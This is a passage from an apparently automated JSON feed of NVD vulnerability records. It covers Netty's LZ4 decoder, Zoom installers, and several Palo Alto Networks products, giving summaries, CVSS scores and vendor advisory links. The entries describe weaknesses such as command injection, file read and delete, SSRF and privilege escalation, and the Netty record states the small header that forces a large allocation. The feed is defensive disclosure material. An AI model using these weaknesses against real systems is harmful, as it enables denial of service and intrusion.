record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42583","cveId":"CVE-2026-42583","aliases":[],"kind":"vulnerability","title":"Netty is an asynchronous, event-driven network application framework.","summary":"Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Lz4FrameDecoder allocates a ByteBuf of size decompressedLength (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus compressedLength payload bytes - 22 bytes if compressedLength == 1 - to force that allocation. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.","detail":"Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Lz4FrameDecoder allocates a ByteBuf of size decompressedLength (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus compressedLength payload bytes - 22 bytes if compressedLength == 1 - to force that allocation. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T19:17:23.903Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"netty","product":"netty","stacks":["Netty","netty"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42583","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42583","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42583","type":"primary","publishedAt":"2026-05-13T19:17:23.903Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/netty/netty/security/advisories/GHSA-mj4r-2hfc-f8p6","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-30906","cveId":"CVE-2026-30906","aliases":[],"kind":"vulnerability","title":"Untrusted search path in the installer for Zoom Rooms for Windows before version 7.0.0 may allow an authenticated user to enable an escalation of privilege via local access.","summary":"Untrusted search path in the installer for Zoom Rooms for Windows before version 7.0.0 may allow an authenticated user to enable an escalation of privilege via local access.","detail":"Untrusted search path in the installer for Zoom Rooms for Windows before version 7.0.0 may allow an authenticated user to enable an escalation of privilege via local access.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T19:17:05.540Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"zoom","product":"rooms","stacks":["Zoom","rooms"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-30906","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-30906","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-30906","type":"primary","publishedAt":"2026-05-13T19:17:05.540Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.zoom.com/en/trust/security-bulletin/zsb-26008","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-30905","cveId":"CVE-2026-30905","aliases":[],"kind":"vulnerability","title":"External Control of File Name or Path in the Zoom Workplace VDI Plugin Windows Universal Installer before version 6.6.11 may allow an authenticated user to conduct an escalation...","summary":"External Control of File Name or Path in the Zoom Workplace VDI Plugin Windows Universal Installer before version 6.6.11 may allow an authenticated user to conduct an escalation of privilege via local access.","detail":"External Control of File Name or Path in the Zoom Workplace VDI Plugin Windows Universal Installer before version 6.6.11 may allow an authenticated user to conduct an escalation of privilege via local access.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T19:17:05.367Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"zoom","product":"workplace virtual desktop infrastructure","stacks":["Zoom","workplace virtual desktop infrastructure"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-30905","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-30905","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-30905","type":"primary","publishedAt":"2026-05-13T19:17:05.367Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.zoom.com/en/trust/security-bulletin/zsb-26007","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-0262","cveId":"CVE-2026-0262","aliases":[],"kind":"vulnerability","title":"Multiple denial of service vulnerabilities in Palo Alto Networks PAN-OS® software allow an unauthenticated attacker with network access to cause a denial of service (DoS)...","summary":"Multiple denial of service vulnerabilities in Palo Alto Networks PAN-OS® software allow an unauthenticated attacker with network access to cause a denial of service (DoS) condition by sending specially crafted network traffic. \n\nPanorama and Cloud NGFW are not impacted by these vulnerabilities.","detail":"Multiple denial of service vulnerabilities in Palo Alto Networks PAN-OS® software allow an unauthenticated attacker with network access to cause a denial of service (DoS) condition by sending specially crafted network traffic. \n\nPanorama and Cloud NGFW are not impacted by these vulnerabilities.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T19:17:02.603Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"paloaltonetworks","product":"pan-os","stacks":["Palo Alto Networks","pan-os"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:N/R:U/V:C/RE:M/U:Amber","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-0262","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-0262","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-0262","type":"primary","publishedAt":"2026-05-13T19:17:02.603Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://security.paloaltonetworks.com/CVE-2026-0262","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-0261","cveId":"CVE-2026-0261","aliases":[],"kind":"vulnerability","title":"Multiple command injection vulnerabilities in Palo Alto Networks PAN-OS® software enable an authenticated administrator to bypass system restrictions and run arbitrary commands as...","summary":"Multiple command injection vulnerabilities in Palo Alto Networks PAN-OS® software enable an authenticated administrator to bypass system restrictions and run arbitrary commands as a root user. To be able to exploit this issue, the user must have access to the PAN-OS CLI or Web UI.\n\n\n\nThe security risk posed by this issue is significantly minimized when CLI access is restricted to a limited group of administrators and by restricting access to the management web interface to only trusted internal IP addresses according to our recommended  best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 .\n\n\n\nThis issue is applicable to PAN-OS software on PA-Series and VM-Series firewalls and on Panorama (virtual and M-Series).\n\n\n\nCloud NGFW and Prisma Access® are not impacted by these vulnerabilities.","detail":"Multiple command injection vulnerabilities in Palo Alto Networks PAN-OS® software enable an authenticated administrator to bypass system restrictions and run arbitrary commands as a root user. To be able to exploit this issue, the user must have access to the PAN-OS CLI or Web UI.\n\n\n\nThe security risk posed by this issue is significantly minimized when CLI access is restricted to a limited group of administrators and by restricting access to the management web interface to only trusted internal IP addresses according to our recommended  best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 .\n\n\n\nThis issue is applicable to PAN-OS software on PA-Series and VM-Series firewalls and on Panorama (virtual and M-Series).\n\n\n\nCloud NGFW and Prisma Access® are not impacted by these vulnerabilities.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T19:17:02.097Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"paloaltonetworks","product":"pan-os","stacks":["Palo Alto Networks","pan-os"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:N/R:U/V:C/RE:M/U:Amber","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-0261","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-0261","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-0261","type":"primary","publishedAt":"2026-05-13T19:17:02.097Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://security.paloaltonetworks.com/CVE-2026-0261","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-0259","cveId":"CVE-2026-0259","aliases":[],"kind":"vulnerability","title":"An arbitrary File Read and Delete Vulnerability in Palo Alto Networks WildFire® WF-500 and WF-500-B appliances enables users to read sensitive information and delete arbitrary...","summary":"An arbitrary File Read and Delete Vulnerability in Palo Alto Networks WildFire® WF-500 and WF-500-B appliances enables users to read sensitive information and delete arbitrary files. This vulnerability affects WF-500 and WF-500-B appliances running in the default non-FIPS configuration mode.\n\n\n\nThe WildFire Appliance (WF-500, WF-500-B) software update is now available to customers that use the WildFire Appliance (WF-500, WF-500-B) for on-premise sandboxing.\n\n\n\nPlease note that customers using the WildFire Public cloud service are NOT impacted by this vulnerability.","detail":"An arbitrary File Read and Delete Vulnerability in Palo Alto Networks WildFire® WF-500 and WF-500-B appliances enables users to read sensitive information and delete arbitrary files. This vulnerability affects WF-500 and WF-500-B appliances running in the default non-FIPS configuration mode.\n\n\n\nThe WildFire Appliance (WF-500, WF-500-B) software update is now available to customers that use the WildFire Appliance (WF-500, WF-500-B) for on-premise sandboxing.\n\n\n\nPlease note that customers using the WildFire Public cloud service are NOT impacted by this vulnerability.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T19:17:01.873Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"paloaltonetworks","product":"pan-os","stacks":["Palo Alto Networks","pan-os"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:U/V:C/RE:M/U:Amber","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-0259","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-0259","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-0259","type":"primary","publishedAt":"2026-05-13T19:17:01.873Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://security.paloaltonetworks.com/CVE-2026-0259","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-0258","cveId":"CVE-2026-0258","aliases":[],"kind":"vulnerability","title":"A server-side request forgery (SSRF) vulnerability in the IKEv2 implementation of Palo Alto Networks PAN-OS® software allows an unauthenticated attacker to cause the firewall to...","summary":"A server-side request forgery (SSRF) vulnerability in the IKEv2 implementation of Palo Alto Networks PAN-OS® software allows an unauthenticated attacker to cause the firewall to send network requests to unintended destinations or cause a denial of service (DoS) condition.\n\n\n\nPanorama, Cloud NGFW and Prisma® Access are not impacted by these vulnerabilities.","detail":"A server-side request forgery (SSRF) vulnerability in the IKEv2 implementation of Palo Alto Networks PAN-OS® software allows an unauthenticated attacker to cause the firewall to send network requests to unintended destinations or cause a denial of service (DoS) condition.\n\n\n\nPanorama, Cloud NGFW and Prisma® Access are not impacted by these vulnerabilities.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T19:17:01.483Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"paloaltonetworks","product":"pan-os","stacks":["Palo Alto Networks","pan-os"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":4.8,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:U/V:C/RE:H/U:Amber","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-0258","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-0258","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-0258","type":"primary","publishedAt":"2026-05-13T19:17:01.483Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://security.paloaltonetworks.com/CVE-2026-0258","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-0251","cveId":"CVE-2026-0251","aliases":[],"kind":"vulnerability","title":"Multiple local privilege escalation vulnerabilities in the Palo Alto Networks GlobalProtect™ app allow a local user to escalate their privileges to NT AUTHORITY\\SYSTEM on Windows...","summary":"Multiple local privilege escalation vulnerabilities in the Palo Alto Networks GlobalProtect™ app allow a local user to escalate their privileges to NT AUTHORITY\\SYSTEM on Windows and root on macOS and Linux. This enables a non-administrative user to execute arbitrary commands with administrative privileges.\n\nThe GlobalProtect app on iOS, Android, Chrome OS and GlobalProtect UWP app are not affected.","detail":"Multiple local privilege escalation vulnerabilities in the Palo Alto Networks GlobalProtect™ app allow a local user to escalate their privileges to NT AUTHORITY\\SYSTEM on Windows and root on macOS and Linux. This enables a non-administrative user to execute arbitrary commands with administrative privileges.\n\nThe GlobalProtect app on iOS, Android, Chrome OS and GlobalProtect UWP app are not affected.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T19:16:59.470Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"paloaltonetworks","product":"globalprotect","stacks":["Palo Alto Networks","globalprotect"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.9,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:N/R:U/V:D/RE:M/U:Amber","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-0251","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-0251","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-0251","type":"primary","publishedAt":"2026-05-13T19:16:59.470Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://security.paloaltonetworks.com/CVE-2026-0251","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-0247","cveId":"CVE-2026-0247","aliases":[],"kind":"vulnerability","title":"Multiple authorization bypass vulnerabilities in the Endpoint DLP component of Prisma Access Agent® allow a local attacker to bypass authentication controls and execute privileged...","summary":"Multiple authorization bypass vulnerabilities in the Endpoint DLP component of Prisma Access Agent® allow a local attacker to bypass authentication controls and execute privileged operations.","detail":"Multiple authorization bypass vulnerabilities in the Endpoint DLP component of Prisma Access Agent® allow a local attacker to bypass authentication controls and execute privileged operations.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T19:16:58.780Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"paloaltonetworks","product":"prisma access agent","stacks":["Paloaltonetworks","prisma access agent"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.9,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:N/R:U/V:C/RE:M/U:Amber","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-0247","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI 